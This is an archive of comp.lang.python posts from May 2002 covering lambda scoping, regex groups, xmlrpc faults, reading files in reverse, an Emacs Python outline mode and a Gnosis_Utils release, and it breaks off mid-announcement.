http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python.announce Michael Hudson continued Andrew Kuchling's marvelous tradition of summarizing action on the python-dev mailing list once every other week, into July 2001. Any volunteers to re-start this valuable series? http://starship.python.net/crew/mwh/summaries/ http://www.amk.ca/python/dev The Vaults of Parnassus ambitiously collect Python resources http://www.vex.net/~x/parnassus/ Much of Python's real work takes place on Special-Interest Group mailing lists http://www.python.org/sigs/ The Python Software Foundation has replaced the Python Consortium as an independent nexus of activity http://www.python.org/psf/ Cetus does much of the same http://www.cetus-links.org/oo_python.html Python FAQTS http://python.faqts.com/ The old Python "To-Do List" now lives principally in a SourceForge reincarnation. http://sourceforge.net/tracker/?atid=355470&group_id=5470&func=browse http://python.sourceforge.net/peps/pep-0042.html The online Python Journal is posted at pythonjournal.cognizor.com. editor at pythonjournal.com and editor at pythonjournal.cognizor.com welcome submission of material that helps people's understanding of Python use, and offer Web presentation of your work. *Py: the Journal of the Python Language* http://www.pyzine.com Links2Go is a new semi-automated link collection; it's impressive what AI can generate http://www.links2go.com/search?search=python Tenth International Python Conference http://www.python10.org Archive probing tricks of the trade: http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python&num=100 http://groups.google.com/groups?meta=site%3Dgroups%26group%3Dcomp.lang.python.* Previous - (U)se the (R)esource, (L)uke! - messages are listed here: http://www.ddj.com/topics/pythonurl/ http://purl.org/thecliff/python/url.html (dormant) or http://groups.google.com/groups?oi=djq&as_q=+Python-URL!&as_ugroup=comp.lang.python Suggestions/corrections for next week's posting are always welcome. [http://www.egroups.com/list/python-url-leads/ is hibernating. Just e-mail us ideas directly.] To receive a new issue of this posting in e-mail each Monday morning, ask <claird at neosoft.com> to subscribe. Mention "Python-URL!". -- The Python-URL! Team-- Dr. Dobb's Journal (http://www.ddj.com) is pleased to participate in and sponsor the "Python-URL!" project. -- Cameron Laird <Cameron at Lairds.com> Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From aleax at aleax.it Mon May 6 11:15:59 2002 From: aleax at aleax.it (Alex Martelli) Date: Mon, 06 May 2002 15:15:59 GMT Subject: Theoretical question about Lambda References: <3CD0DCD6.4050403@vip.fi> <J45B8.5411$CN3.205220@news2.tin.it> <m27kmhvp16.fsf@mycroft.actrix.gen.nz> <q%pB8.8256$CN3.313506@news2.tin.it> <m23cx5v7yd.fsf@mycroft.actrix.gen.nz> Message-ID: <P6xB8.10305$CN3.373077@news2.tin.it> Paul Foley wrote: ... > OK; question: what's the difference, if any, between > > x = n > do_something > > and > > def foo(x): > do_something > > foo(n) > > as far as x is concerned? Assuming these snippets are top-level code, "the difference as far as x is concerned" is clearly that x is a global name in the first snippet, and a local name of foo in the second snippet. > Given that (lambda: x) /does/ close over x with nested scopes enabled, > can you explain why > > fns = getfns(seq) > > produces a list of functions that all return seq[-1]? And why, as you Because "lambda: x" is a callable that returns whatever object name x is bound to at the time it's called (rather than, at the time it's created). It does not matter what name x was bound to, or even if it was indeed bound at all, at creation time. Only calling-time matters here. What _scope_ matters for the binding of name x is determined by nested lexical scoping, but doesn't affect the rule. And getfns last binds the relevant name x to seq[-1] before any of said functions are in fact called. More generally, any form "lambda: <expression>" evaluates the <expression> each time it's called. It does not matter what value the expression had (or even if it was evaluatable at all) at the time the lambda-form function was created; only calling time matters here. The _scope_ in which the expression is (at each call) evaluated IS determined at creation time, however. > point out, > > def getfns2(seq): > return [(lambda x=x: x) for x in seq] > > produces functions that return all the elements of seq? > [Assume you call them with no arguments!] Because "lambda x=x: x" is a callable that (when called with no arguments) returns whatever object name x was bound to at the time the callable was created (rather than, at the time it's called). It does not matter what name x is bound to, or even if it's indeed bound at all, at calling time. Only creation time matters here. More generally, any form "lambda x=<expression>: x" evaluates the <expression> only once, when the lambda-form is created. It does not matter what value the expression has (or even if it is evaluatable at all) at the time the lambda-form function is called; only creation time matters here. The _scope_ in which the expression is (at lambda's creation) evaluated IS also determined at creation time. It makes no difference in all this that we're talking about a lambda-form rather than a normal named function. Exactly the same semantics apply to named functions (it's just a bit easier to talk about them:-): def nolambda1(): return <expression> evaluates the expression anew each time it's called (in the scope that is determined when the def statement is executed). def nolambda2(x=<expression>): return x evaluates the expression only once (once each time this def statement is executed, that is) and binds the resulting object as the default value for name x in the local scope of this new function object 'nolambda2'. Whenever nolambda2 is called without arguments, it returns that selfsame object that this def statement bound as the default value for name x in the local scope of this function nolambda2. Alex From tjreedy at udel.edu Wed May 8 16:48:35 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Wed, 08 May 2002 20:48:35 GMT Subject: Comments References: <mailman.1020875117.14656.python-list@python.org> Message-ID: <DagC8.113179$v7.9678829@bin6.nnrp.aus1.giganews.com> "Sean 'Shaleh' Perry" <shalehperry at attbi.com> wrote in message news:mailman.1020875117.14656.python-list at python.org... > Sure, but comments are basically free whereas the above creates an anonmymous > string which has to be garbage collected. I once read, I believe, that free-floating (unbound) strings that do not become doc strings are eliminated (in batch mode) during compilation. TJR From fredrik at pythonware.com Wed May 1 10:41:55 2002 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 01 May 2002 14:41:55 GMT Subject: Python vs. Perl, which is better to learn? References: <mailman.1020261603.30900.python-list@python.org> Message-ID: <T8Tz8.4600$p56.1066814@newsb.telia.net> Mark McEahern wrote: > This switches the first and last words of a sentence. I didn't bother > putting the period back in there or sentence-casing the new first word. > > import re > s = "Explicit is better than implicit." > pat = re.compile("^(\w+)(.* )(\w+)\.$") > m = pat.search(s) > if m: > print "%s%s%s" % (m.groups()[2], m.groups()[1], m.groups()[0]) instead of using groups three times, you can pass multiple arguments to the group method: m = pat.search(s) if m: print "%s%s%s" % (m.group(3, 2, 1)) or you can use group references in the sub method: print pat.sub(r"\1\2\3", s) </F> From aahz at pythoncraft.com Wed May 29 16:31:38 2002 From: aahz at pythoncraft.com (Aahz) Date: 29 May 2002 16:31:38 -0400 Subject: What does Python offer? References: <ad216r$lol$1@news8.svr.pol.co.uk> Message-ID: <ad3dra$oik$1@panix1.panix.com> In article <ad216r$lol$1 at news8.svr.pol.co.uk>, Solosnake <solosnake at solosnake.without_this.freeserve.co.uk> wrote: > >I have beome curious about Python after playing a game called 'Severance - >Blade of Darkness', which uses python scripts. I know very little about the >language. I am a C++ programmer, and would like to ask the Python community >: > >What is unique or special about Python? Very little is unique. What's special is that Python is an extremely readable and compact language. >Why would it be useful to a games programmer? Rapid development. For a short (but not directly relevant) case study, see http://www2.linuxjournal.com/lj-issues/issue73/3882.html >Could it be used for allowing users to customize games, eg reprogramming AI >bots etc? Definitely. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "In the end, outside of spy agencies, people are far too trusting and willing to help." --Ira Winkler From phd at phd.pp.ru Mon May 20 11:30:12 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Mon, 20 May 2002 19:30:12 +0400 Subject: Python (2.2) on Solaris 8 (64-bit) In-Reply-To: <79d1869.0205200713.324bee25@posting.google.com>; from dryose@juno.com on Mon, May 20, 2002 at 08:13:43AM -0700 References: <79d1869.0205200713.324bee25@posting.google.com> Message-ID: <20020520193012.B30424@phd.pp.ru> On Mon, May 20, 2002 at 08:13:43AM -0700, yose wrote: > I have not been successful at installing python 2.2 on my Sun running > solaris 8. I am not sure I understand even what the problem has been. > One symptom is that when I run python and then type "import socket" > from the command-line prompt, I get an error about "_socket" not being > found. http://groups.google.com/groups?hl=en&lr=&safe=off&q=python+solaris+problem&btnG=Google+Search&meta=group%3Dcomp.lang.python.%2A Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From mlh at vier.idi.ntnu.no Sun May 5 02:46:09 2002 From: mlh at vier.idi.ntnu.no (Magnus Lie Hetland) Date: Sun, 5 May 2002 06:46:09 +0000 (UTC) Subject: Returning Fault instances in xmlrpc References: <mailman.1020579191.22631.python-list@python.org> Message-ID: <slrnad9l9h.97u.mlh@vier.idi.ntnu.no> In article <mailman.1020579191.22631.python-list at python.org>, Brian Quinlan wrote: >> But why aren't Fault objects returned when I explicitly return them >> from my functions? Shouldn't it either be illegal to return them or >> equivalent to raising them? > >Both of these Python functions are legal but they have different >semantics: > >def myfunc(): raise TypeError() >def myfunc(): return TypeError() > >Do you consider that a design flaw? If not, why should it be a design >flaw with the xmlrpc library? As I responded to Brian privately, I think returning an object of an xmlrpc type should yield the equivalent object in the other end -- e.g. returning a Boolean object should yield a Boolean object, and returning a Fault object should yield a Fault object -- not a mapping (because the server converts the instance to a mapping automatically). If xmlrpc had any notion of the difference between the two functions above, I wouldn't mind having them behave differently, but xmlrpc doesn't have the richness of Python function/method invocation. -- Magnus Lie Hetland The Anygui Project http://hetland.org http://anygui.org From imunitic at dijana.vest.hr Wed May 29 11:11:08 2002 From: imunitic at dijana.vest.hr (Ivica Munitic) Date: 29 May 2002 15:11:08 GMT Subject: Pmw.Blt References: <slrnaf4sp8.abj.imunitic@dijana.vest.hr> <Xns921C70AFA549howardeegsoftwarecom@66.75.162.196> Message-ID: <slrnaf9rsc.5jd.imunitic@dijana.vest.hr> Howard Lightstone wrote: [...snip...] > The problem seems to be that the Pmw loader uses the Tcl loader > which uses the old-style Windows LoadLibrary procedure which uses > a "standard" set of load paths. Apparently, the BLT dll is not on any of > those paths, perhaps because Python puts the tcl directory under it > instead of in "Program Files\Tcl". > > Try this: > > copy entire BLT2.4 directory from (Python) ---tcl\lib > to ---tcl\tcl8.3 > copy blt24.dll from (Python) tcl\bin > to \windows\system > > This seems to work for me on clean install tests. It worked for me to:) Tnx! From phd at phd.pp.ru Sat May 11 01:45:05 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Sat, 11 May 2002 09:45:05 +0400 Subject: Multibyte Character Surport for Python In-Reply-To: <udol0hpg2g9gf7@news.supernews.com>; from johnroth@ameritech.net on Fri, May 10, 2002 at 07:14:23PM -0400 References: <e786d63d.0205080421.3788a0e2@posting.google.com> <j4y9euwxq7.fsf@informatik.hu-berlin.de> <kuhelirarl.fsf@lasipalatsi.fi> <c76ff6fc.0205081337.43428505@posting.google.com> <ku3cx1qlvq.fsf@lasipalatsi.fi> <m3helhp6cc.fsf@mira.informatik.hu-berlin.de> <kuu1php323.fsf@lasipalatsi.fi> <m3wuucbjlb.fsf@mira.informatik.hu-berlin.de> <udol0hpg2g9gf7@news.supernews.com> Message-ID: <20020511094505.A25332@phd.pp.ru> On Fri, May 10, 2002 at 07:14:23PM -0400, John Roth wrote: > 3. There must be a complete set of syntax words in each > supported language. That is, words such as 'and', 'or', 'if', 'else' > All such syntax words in a particular module must come from the > same language. Who will maintain those "complete sets"? Core team? They have enough other things to do. > 4. All syntax words are preceeded by a special character, which > is not presented to the viewer by Python 3.0 aware tools. Instead, > the special character is used to pick them out and highlight them. > The reason for this is that the vocabulary of syntax words can then > be expanded without impacting existing programs - they are > effectively from a different name space. Why do you want to make perl of python? If you want perl just go and use perl, no problem. Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From jacob at boris.cd.chalmers.se.cd.chalmers.se Mon May 20 10:03:28 2002 From: jacob at boris.cd.chalmers.se.cd.chalmers.se (Jacob Hallen) Date: 20 May 2002 14:03:28 GMT Subject: OT: Crazy Programming References: <mailman.1021198403.21335.python-list@python.org> <abnqdd$8bf$1@slb0.atl.mindspring.net> <23891c90.0205130956.6f0436a0@posting.google.com> <ht91eus6861nu2am7164l8ui9925rmu5sn@4ax.com> Message-ID: <acavng$pcq$1@nyheter.chalmers.se> In article <ht91eus6861nu2am7164l8ui9925rmu5sn at 4ax.com>, Tim Roberts <timr at probo.com> wrote: >This is exactly right, and it is an important point. As long as programs >continue to be essentially "hand-crafted", we will never be able to build >reliable large systems. Only when programming ceases to be art and moves >into the realm of engineering -- like building a bridge or a building -- >will we get the reliability that we really need in order to create the >large systems that the twenty-first century demands. These assertions are all false. You can build hand-crafted large systems. It requires skill and understanding. However, what the twenty-first century needs is interoperating small systems. The fundaments on which Agile Programming is built clearly show that programming must be a craft, since it contains elements of necessary improvisation at every level of development. The steel and concrete you use to build bridges are homogenous materials that can be moulded into standardised shapes. The points where the bridge connects to the landscape can similarly be moulded to a suitable shape that accomodates the bridge. Software on the other hand is build out of ideas that do not come in standard shapes and it needs to connect to human minds, which are hard to mould to any desired shape. Time has shown that large systems have a large range of problems, in development, use and modification. One of the most important crafts in software development is therefore the one of breaking large systems into smaller, autonomous ones that can interact with each other when needed. Just like it required the development of technology that exceeded humans in the amount of power output to replace menial labour and technology that exceeded human precision and human speed in order to replace human manufacted goods creation, it is going to require an artificial intelligence that is superior to human intelligence to turn software creation into an industrial process. Jacob Hall?n -- From harisri at bigpond.com Wed May 1 03:50:34 2002 From: harisri at bigpond.com (Srihari Vijayaraghavan) Date: 1 May 2002 00:50:34 -0700 Subject: Problem while reading a text file in reverse order. Message-ID: <284b44c2.0204302350.7c013690@posting.google.com> Hello, As you know, on a given (same) file object (text file with '\r\n') read() method hides the '\r' on Windows, but not on Linux. But it counts for seek() method on both platforms. I am trying to write a GNU 'tac' like utility to use on both Linux and Windows. The following script works fine on Linux for both '\n' and '\r\n'. But on Windows it works for '\n' and not quite right for '\r\n'. #!/usr/bin/python import sys, cStringIO def tac(data): data.seek(0, 2) while 1: size = data.tell() if size >= 512: data.seek(-512, 1) temp = data.read(512) data.seek(-512, 1) #print 512-len(temp) next_newline = temp.index('\n') data.seek(next_newline+1, 1) result = cStringIO.StringIO(temp[next_newline+1:]) all_lines = result.readlines() all_lines.reverse() for everyline in all_lines: print everyline, elif size > 0 and size < 512: position = data.tell() data.seek(0) temp = data.read(position) result = cStringIO.StringIO(temp) all_lines = result.readlines() all_lines.reverse() for everyline in all_lines: print everyline, break elif size == 0: break def main(): data = open(sys.argv[1], 'r') tac(data) if __name__ == '__main__': main() (I guess you will get the number of 'vapourising' '\r' if you enable the commented 'print' statement) Is there a way to enable '\r' for read() method on Windows, or to code it intelligently :-) to handle it. (by means of either completely not caring about line feeds, or accounting '\r') Wouldn't it be wonderful if python provided readline() like method (perhaps reverse_readline() :-)) for reading files in reverse order? (for at least file objects) Please ask me if you need a sample file based on '\r\n'. Thanks for your time, Hari, harisri at bigpond.com From xsebbi at gmx.de Tue May 28 04:21:15 2002 From: xsebbi at gmx.de (Sebastian Roth) Date: Tue, 28 May 2002 10:21:15 +0200 Subject: Python 2.2.1 question Message-ID: <200205281021.15205@xsebbi.de> Hi all, I've got an question about Python 2.2.1. It's selfcompiled but it looks like that it don't have an history. If I press <cursor-up> it simply prints: ^[[A but why? Which ./configure-argument was missing ? Could you help me, please? Thank you in advance, Sebastian From pyth at devel.trillke.net Wed May 15 06:22:19 2002 From: pyth at devel.trillke.net (holger krekel) Date: Wed, 15 May 2002 12:22:19 +0200 Subject: Python outline mode in emacs In-Reply-To: <200205151012.g4FACoeW010904@theraft.strakt.com>; from lac@strakt.com on Wed, May 15, 2002 at 12:12:50PM +0200 References: <200205151012.g4FACoeW010904@theraft.strakt.com> Message-ID: <20020515122219.Q28033@prim.han.de> Laura Creighton wrote: > When I told Ronny that I had posted this, he said 'But it didn't come > with documentation and store the outline-display state with the buffer! > Let me fix this!' great! i'll try this soon. i didn't succeed with your previous posting because i lack basic emacs-knowledge (one of those one day things ...). thanks, holger > So here is a better version: > > ;; Outline mode extension > ;; ---------------------- > ;; > ;; Author: Ronny Wikh <rw at strakt.com>, May 2002 > ;; > ;; A simple extension of the outline mode with functions provided > ;; for python and texi modes. > ;; > ;; The mode simply adds toggles for outline/show everything and > ;; outline/show paragraph, where the 'paragraph' concept is > ;; modified to mean classes and function definitions in python > ;; and chapters and subsections in texi. > ;; > ;; Toggle entry is bound to C-c C-e > ;; Toggle all is bound to C-c C-a > ;; > ;; The default is that a buffer is started in outline mode. This > ;; behaviour is controlled by the variable 'outline-start-hidden' > ;; which can be set in your .emacs: > ;; > ;; (setq outline-start-hidden t) to start in outline (default) or > ;; (setq outline-start-hidden nil) to start showing everything > ;; > ;; Activation of the mode can be done manually by calling the function > ;; > ;; 'python-outline' for python mode, > ;; 'texi-outline' for texi mode > ;; > ;; or automatically by inserting the following lines into your .emacs file: > ;; > ;; (setq auto-mode-alist (append '( > ;; ("\\.texi" . texi-outline) > ;; ("\\.py" . python-outline)) > ;; auto-mode-alist)) > ;; > ;; Modes for other languages can easily be added by providing suitable > ;; regexp expressions for that specific language in new functions. > ;; > > (defvar outline-start-hidden t "Start outline hidden") > > (defun outline-setup (regexp) > "Setup outline mode" > (defvar outline-toggle-all-flag nil "toggle all flag") > (make-variable-buffer-local 'outline-toggle-all-flag) > (defvar cpos_save nil "current cursor position") > (outline-minor-mode) > (setq outline-regexp regexp) > (define-key outline-minor-mode-map "\C-c\C-e" 'outline-toggle-entry) > (define-key outline-minor-mode-map "\C-c\C-a" 'outline-toggle-all) > (if outline-start-hidden > (progn > (setq outline-toggle-all-flag t) > (hide-body))) > > (defun outline-toggle-entry () (interactive) > "Toggle outline hiding for the entry under the cursor" > (if (progn > (setq cpos_save (point)) > (end-of-line) > (get-char-property (point) 'invisible)) > (progn > (show-subtree) > (goto-char cpos_save)) > (progn > (hide-leaves) > (goto-char cpos_save)))) > > (defun outline-toggle-all () (interactive) > "Toggle outline hiding for the entire file" > (if outline-toggle-all-flag > (progn > (setq outline-toggle-all-flag nil) > (show-all)) > (progn > (setq outline-toggle-all-flag t) > (hide-body)))) > ) > > (defun python-outline () (interactive) > "Python outline mode" > (python-mode) > (outline-setup "^class \\|[ ]*def \\|^#")) > > (defun texi-outline () (interactive) > "Texinfo outline mode" > (texinfo-mode) > (outline-setup "^@chap\\|@\\(sub\\)*section")) > > > -- > http://mail.python.org/mailman/listinfo/python-list From mjackson at wrc.xerox.com Wed May 1 16:50:17 2002 From: mjackson at wrc.xerox.com (Mark Jackson) Date: 1 May 2002 20:50:17 GMT Subject: Newbie: finding the key/index of the min/max element References: <200204302300.g3UN0kkG002462@ratthing-b246.strakt.com> <mailman.1020283874.5708.python-list@python.org> Message-ID: <aapke9$22q$1@news.wrc.xerox.com> Cliff Wells <logiplexsoftware at earthlink.net> writes: > More than once she's threatened to use me as a "scratch monkey", > whatever that means. Hint: if she offers to "mount" you, decline politely. -- Mark Jackson - http://www.alumni.caltech.edu/~mjackson The Enron scandal calls into question the integrity of the entire capitalist system, which previously we assumed was based on honest, straightforward greed. - Joel Achenbach From spam at nomail.net Mon May 13 07:48:07 2002 From: spam at nomail.net (obantec support) Date: Mon, 13 May 2002 12:48:07 +0100 Subject: change a string conditional References: <mailman.1020965239.20491.python-list@python.org> Message-ID: <udva1uimctjtf0@news.supernews.com> "Harvey Thomas" <hst at empolis.co.uk> wrote in message news:mailman.1020965239.20491.python-list at python.org... > Mark wrote > > Hi > > > > I need to a piece of python code that will take a string > > which may or may > > not begin with www and change it to lists. > > > > eg. www.domain.com becomes lists.domain.com > > but if domain1.com (no www) the it still becomes lists.domain1.com > > > > an example of a pattern match will be enough.(I do a bit of > > perl but never > > done any python) > > > > mark > > > > Assuming that the string astring is not empty (if it is then > newstring will be empty), then > > newstring = re.sub('(www\.)?(.+)', lambda x:'www.%s' % > x.group(2), astring) > > should do the trick > > Sorry, the example should of course be: newstring = re.sub('(www\.)?(.+)', lambda x:'lists.%s' % x.group(2), astring) _____________________________________________________________________ This message has been checked for all known viruses by the MessageLabs Virus Scanning Service. Thanks Harvey, i went with this and it works great now i got my mind round python's pedantic syntax (spotted the lists / www error!) Mark From brian at sweetapp.com Sun May 5 02:56:09 2002 From: brian at sweetapp.com (Brian Quinlan) Date: Sat, 4 May 2002 23:56:09 -0700 Subject: Returning Fault instances in xmlrpc In-Reply-To: <20020505084205.D7298@idi.ntnu.no> Message-ID: <008a01c1f401$ef7966e0$445d4540@Dell2> > Well... I beg to differ :) > > Returning an error code (which a Fault object is, basically) is > different from raising an exception (very different). Exception > handling includes a completely separate set of control structures. They do use a different set of control structures at the protocol level. Return values use the "params" element, while exceptions use the "fault" element. This is from the XML-RPC spec: """Can the <fault> struct contain other members than <faultCode> and <faultString>? Is there a global list of faultCodes? (so they can be mapped to distinct exceptions for languages like Python and Java)?""" So the specification is talking about XML-RPC faults as if they can be mapped to exceptions! > Is that true for Boolean, DateTime, or Binary objects? If so, the > server is seriously broken. If not, I find it strange that Fault > objects are the only ones that are not handled according to specs. I'm starting to suspect that you are being deliberately obtuse. Boolean, DateTime and Binary objects are stand-ins for XML-RPC types that have no Python equivalents. I think that if the server were seriously broken, someone would have discovered it by now. > (The fact that instances can be returned at all seems odd to me -- how > is the set of attributes computed? From obj.__dict__ or by pulling > down attributes from superclasses etc.? Using obj.__dict__ > I would have preferred a "refusal to guess" here, requiring the use of > a mapping when you want to return a mapping.) I probably would not have implemented it this way either. But classes are the closest thing that Python has to C-style structs so one could make the argument... Cheers, Brian From nospam at bigfoot.com Fri May 24 14:45:18 2002 From: nospam at bigfoot.com (Gillou) Date: Fri, 24 May 2002 20:45:18 +0200 Subject: Validating XML DOM parser with PyXML (0.7.1) References: <aclrmp$2r31$1@norfair.nerim.net> <j4g00hwj37.fsf@informatik.hu-berlin.de> Message-ID: <acm176$31bp$1@norfair.nerim.net> Gonna experiments all this. Many thanks for the hints. --Gilles "Martin v. L?wis" <loewis at informatik.hu-berlin.de> a ?crit dans le message news: j4g00hwj37.fsf at informatik.hu-berlin.de... > "Gillou" <nospam at bigfoot.com> writes: > > > * Returned objects should have the xml.dom.minidom (like) API. > > Then I recommend that you create a SAX parser (e.g. through > xml.sax.sax2ext.XMLValParserFactory, or by directly specifying > "xml.sax.drivers2.drv_xmlproc" to make_parser). > > With the SAX parser, you build a 4DOM tree (using > xml.dom.ext.reader.Sax2). > > > * I want to "plug in" my own DTD in the document to validate XML without > > doctype declaration. > > This *should* work by specifying a SAX entity handler, but you will > need to experiment. > > I suggest that you get to work the rest of this first, and change your > solution to incorporate that feature afterwards. > > > * Register my handlers for parser errors. > > You need to set an error handler with the SAX parser. > > >* I need to get original encoding from xml declaration <?xml > >version="1.0" > encoding="whatsthat"?> > > You will need to look at the input_encoding attribute of the xmlproc > parser when parsing is done. > > Notice that, in presence of external entities, different parts of the > document may have different encodings - so "the original encoding" may > not be a meaningful term. > > > Can someone post me some sample that does this or give me a "good" > > howto URL. > > Sample code that does exactly this is not available, as your > requirements are quite specific. > > I suggest that you, instead, post the fragments that you have (or will > come up with), and ask specific questions about those. > > Regards, > Martin From max at alcyone.com Fri May 17 15:41:50 2002 From: max at alcyone.com (Erik Max Francis) Date: Fri, 17 May 2002 12:41:50 -0700 Subject: PEP 218 Re: ANN: set-0.1 module available References: <Pine.LNX.4.44L.0205171343590.1576-100000@ods.pp.ru> <mailman.1021634611.19080.python-list@python.org> Message-ID: <3CE55CFE.55CA262F@alcyone.com> "James J. Besemer" wrote: > "Denis S. Otkidach" wrote: > > > On Thu, 16 May 2002, Roman Suzi wrote: > > > > That's to complex. Maybe sets should be always immutable like > > tuples? > > Python has clear precedent for doing so, in that strings, tuples > and long integers all are immutable. Why is that a precedent? Lists aren't immutable, and you're as likely to want to add and remove objects from a set as you are to modify a list. -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Who'd ever think it / Such a squalid little ending \__/ The American and Florence, _Chess_ Church / http://www.alcyone.com/pyos/church/ A lambda calculus explorer in Python. From mhammond at skippinet.com.au Thu May 23 19:23:38 2002 From: mhammond at skippinet.com.au (Mark Hammond) Date: Thu, 23 May 2002 23:23:38 GMT Subject: win32com Excel problem References: <mailman.1022106819.24650.python-list@python.org> <3CED5B00.22303062@wiencko.com> Message-ID: <3CED7A52.5030804@skippinet.com.au> Tom Wiencko wrote: > When I call xlSheet.Cells a lot, sooner or later the com interface > locks up (I did not even get a traceback). Can you provide a sample to demonstrate this? Mark. From 2002 at weholt.org Sat May 4 08:37:05 2002 From: 2002 at weholt.org (Thomas Weholt) Date: Sat, 04 May 2002 12:37:05 GMT Subject: Optimizing for binary storage/bit-fiddling Message-ID: <RBQA8.10354$2E.375395@news2.ulv.nextra.no> I'm working on a very simple object storage system ( there are alot of alternatives I know :-) ) where I got a "record" referencing to a pickled object in a large file. This record is constructed using the struct-module. The format consists of 4 integers, 1 float and at the point 4 boolean values. Currently I'm using a struct-format like so 4If4F. But with bit-fiddling I should get all the boolean values into one integers shouldn't I? Of the 4 integers 2 of them will never exceed 256 so I should be able to use something else than integers for this also ??? A simple search on Google gave me a few hits on the subject, but I read Python wasn't optimized for bit-fiddling. Would it be much faster to just ignore the space issue and use integers for boolean values? Any thoughts? In conclusion: what is the most efficient way to store very large integers ( 0, -> ), very small numeric values ( 0-512 ) and boolean values in a binary file? Is the bit-fiddling so slow I should avoid it in circumstances like this? PS! Any good references on very, very simple bit-fiddling ( tutorials etc. ) would also be highly appreciated. Best regards, Thomas Weholt, a novice in this area :) From d_blade8 at hotmail.com Wed May 1 16:36:13 2002 From: d_blade8 at hotmail.com (Lemniscate) Date: 1 May 2002 13:36:13 -0700 Subject: remove read only flag References: <XlAz8.52$FK2.1293@nreader2.kpnqwest.net> <aamrae$a3i$1@reader1.tiscali.nl> Message-ID: <7396d2b2.0205011236.201c9cb@posting.google.com> Hi, Lutz in "Programming Python" actually provides a script to do exactly what you just wanted to do (change the file permissions on something burned onto a CD). Yet another reason to invest in the book. Next, you are accomplishing your goal, so you may not care. But you can just write a script to call an os.system call changing the attributes that way... import os filename = "test.lmn" os.system('attrib -R %s' % filename) # H is the Read attribute, goto 'help attrib' for others You can make a list using something like os.listdir (or os.path.walk) and do it that way. This is a very windows oriented method, but you could add an OS check to make it more portable. Personally, I shy away from having windows users use the os.chmod() function as windows-users are, historically, 1) less prone to understand file permissions and 2) Windows is going towards an 'NT' platform where you may not have permissions to chmod(666) or the like. Lem "GerritM" <gmuller at worldonline.nl> wrote in message news:<aamrae$a3i$1 at reader1.tiscali.nl>... > This does not answer your request. I asked myslef the same question about > half an hour ago, becauase I copies an extensive directory structure from > CDR to my hard disk, with the nasty side effect that all files are marked as > read-only. Windows 98 explorer does not seem to provide any easy way to > switch all the files back to writeable. When thinking about a short Python > script I thought up the work around (which are needed all the time under > windows): > via the search window you can get all the files by searching for *; CTRL-A > selects all and then via properties youcan change all these files at once. > So for now I don't need the Python call to reset the read only flag :-) > > regards Gerrit From op73418 at mail.telepac.pt Wed May 15 12:33:44 2002 From: op73418 at mail.telepac.pt (Gonçalo Rodrigues) Date: Wed, 15 May 2002 17:33:44 +0100 Subject: A couple questions Message-ID: <5735eug1qqu1mn38s16svempcff7obqp7t@4ax.com> Hi, just a couple a questions, 1. If I have a class as in class Somesuch(object): <whatever> in the __init__ method should I/must I call object.__init__? I am asking this because in GvR's descintro, the object cass __init__ method is said to be a no-op (it does nothing). 2. What is the pythonic way to traverse a list while modifying it? Put in another way, is for i in range(len(mylist)): <change mylist here> safe or am I bound to use a while loop with an explicit counter? TIA and all the best, Gon?alo Rodrigues From mertz at gnosis.cx Fri May 10 13:01:09 2002 From: mertz at gnosis.cx (David Mertz, Ph.D.) Date: Fri, 10 May 2002 13:01:09 -0400 Subject: ANN: Gnosis_Utils Package 1.0 Released Message-ID: <Vz/28kKkXs8B092yn@gnosis.cx> ------------------------------------------------------------------------ After much work, debate, and bugfixing, Gnosis_Utils seems quite stable, so at long last we're releasing it as version 1.0. (Gnosis_Utils is a growing library of generally handy functions, but lately has been focusing on XML and the xml_pickle module.) It may be obtained at: http://gnosis.cx/download/Gnosis_Utils-1.0.tar.gz The current release is always available as: http://gnosis.cx/download/Gnosis_Utils-current.tar.gz This release adds these features/fixes: * Handling of new Python 2.2 features: . Pickle objects derived from builtins (Python >= 2.2) . Handle __slots__, as a superset of the cPickle behavior (we don't require __getstate__ - note that this implementation is somewhat experimental and may change if Python's handling of __slots__ changes) * New modules gnosis.util.combinators and gnosis.util.introspect to pull-out/generalize code that is useful outside of xml.pickle * Portability fixes in the test cases, and as always, new and more exciting test cases * Better handling of unicode vs. "regular" (Python) strings * setup_gnosis.py now converts sources to platform-specific text format when installing The previous announcements are included below, since they contain more information about Gnosis_Utils. Try it out, have fun, send feedback! :-) David Mertz (mertz at gnosis.cx) Frank McIngvale (frankm at hiwaay.net) ------------------------------------------------------------------------ Date: Wed 04-03-2002 Building on the numerous significant improvements Frank McIngvale and David Mertz made to xml_pickle for the 0.9 release of the Gnosis XML Utilities package, this release adds some new features and some revised packaging. Obtain the current release at: http://gnosis.cx/download/Gnosis_Utils-0.95.tar.gz Or check its parent directory for any releases that supercede 0.95. * For the 0.95 release adds "mutators" and type families to xml_pickle. The documentation at gnosis.xml.pickle.doc provides information on these concepts. (Mutators replace helpers; if anyone has written custom helpers, they should be easy to convert to mutators. Email frankm at hiwaay.net with any problems.) * Better handling of Numeric.arrays and array.arrays. * Added a SAX parser (4-5x the speed of the DOM parser). The DOM parser is still the default. Please try the SAX parser and report any issues. * Added "binary" flag to dump()/dumps() to create compressed streams. * Self-referencing objects correctly handled now. * Python builtins can be pickled as toplevel objects. All builtins should be handled now. * Additional software modules have been added to the package, under gnosis.util and gnosis.util.convert (mostly under-documented, for now). * Documentation organization improved. Each level of subpackages should contain a doc/ subdirectory, containing text files that can be viewed in any text viewer easily. The content of these files is imported into *.doc subpackage names, allowing inspection such as: >>> from gnosis.xml.pickle.doc import AUTHOR >>> AUTHOR ['David Mertz <mertz at gnosis.cx>', 'Frank McIngvale <frankm at hiwaay.net>'] Or also: % pydoc.py gnosis.xml.pickle.doc.COPYRIGHT The prior announcement is still generally informative: ------------------------------------------------------------------------ Subject: [Announce] Major update to xml_pickle package Hi, I just wanted to send a note to announce a rather large update to the 